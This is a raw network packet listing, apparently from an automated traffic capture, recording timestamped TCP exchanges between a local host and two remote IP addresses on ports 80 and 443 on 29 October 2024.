Oct 29, 2024 04:17:03.008595943 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008603096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008618116 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008635998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008668900 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008670092 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008692980 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008702040 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008713961 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008764982 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.009077072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.009129047 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.009145021 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.009160995 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.009198904 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.009247065 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.053468943 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.053554058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.053587914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.053622961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.053661108 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.053680897 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.053711891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.053719044 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.053735018 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.053777933 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.094587088 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.094634056 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.094649076 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.094662905 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.094680071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.094746113 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.094804049 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123483896 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123586893 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123603106 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123624086 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123651981 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123660088 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123678923 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123693943 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123714924 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123759031 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123768091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123792887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123831987 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123847961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123852015 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123898983 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123904943 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123930931 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123964071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.123965979 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.123997927 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124000072 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124031067 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124034882 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124054909 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124067068 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124078035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124119997 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124258041 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124289989 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124314070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124345064 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124351978 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124377966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124406099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124413013 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124427080 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124465942 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124617100 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124650002 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124681950 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124690056 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124710083 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124715090 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124733925 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124747992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124767065 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124803066 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.124938965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.124978065 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125008106 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125025988 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125027895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125061989 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125085115 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125108004 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125111103 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125148058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125168085 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125180960 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125196934 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125214100 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125233889 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125247955 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125260115 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125279903 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125299931 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125313044 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125332117 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125348091 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125365019 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125405073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125819921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125876904 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125880003 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125926018 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125941038 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125958920 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.125973940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.125993013 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.126013041 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.126054049 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.170411110 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170449972 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170468092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170485020 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170502901 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170533895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170567989 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170602083 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.170607090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.170639992 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.170667887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.211400032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.211435080 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.211472988 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.211486101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.211515903 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.211519003 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.211534977 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.211555004 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.211570978 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.211584091 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.211620092 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.211638927 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240202904 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240262985 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240297079 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240295887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240329027 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240348101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240367889 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240401983 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240423918 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240458012 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240498066 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240506887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240515947 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240557909 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240571022 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240602016 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240632057 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240634918 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240652084 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240685940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240694046 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240734100 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240740061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240783930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240792036 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240833998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240837097 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.240865946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240899086 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240931988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240966082 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.240995884 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241019964 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241190910 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241240025 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241271973 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241272926 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241293907 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241303921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241317987 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241338015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241358995 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241372108 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241383076 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241430998 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241558075 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241609097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241641998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241647959 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241667986 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241673946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241708040 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241708994 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241728067 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241743088 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241772890 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241806984 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.241919994 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.241966009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242085934 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242135048 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242142916 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242167950 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242187023 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242199898 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242223978 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242233992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242270947 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242274046 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242294073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242304087 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242315054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242336035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242352009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242369890 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.242402077 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.242425919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.284310102 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.284341097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.284375906 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.284405947 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.284410954 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.284431934 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.284465075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287034035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287097931 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287106991 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287162066 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287162066 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287210941 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287223101 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287242889 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287261963 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287275076 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287302971 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287307024 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287333012 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287358046 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.287369013 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.287400007 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.328258991 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.328300953 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.328330994 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.328337908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.328355074 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.328372955 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.328392982 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.328408957 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.328430891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.328454018 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.356977940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357073069 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357074976 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357105970 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357124090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357141018 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357161045 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357173920 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357208967 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357215881 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357239962 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357259989 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357264996 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357292891 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357310057 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357327938 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357342005 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357363939 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357376099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357409954 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357419014 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357460022 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357469082 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357492924 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357520103 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357526064 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357543945 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357583046 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357884884 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357934952 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.357950926 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357976913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.357984066 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358016014 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358045101 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358048916 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358062029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358081102 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358103037 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358114958 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358136892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358146906 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358158112 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358180046 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358191013 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358212948 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358223915 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358246088 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358262062 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358274937 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358294964 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358323097 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358450890 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358484030 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358515978 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358516932 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358536959 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358551025 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358572006 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358584881 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358616114 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358618975 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358634949 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358654022 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.358669043 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.358705997 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:05.118573904 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:05.118659973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:05.465764046 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.465862036 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.466434002 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.466685057 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.466717958 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.763964891 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.763998985 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.764180899 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.764447927 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.764465094 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.814914942 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.814984083 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.815181971 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.815438032 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.815455914 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.971512079 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.971529961 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:05.971596003 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.971999884 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:05.972012997 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.328203917 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.328557968 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.328588963 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.330104113 CET	443	49734	142.250.186.100	192.168.2.4
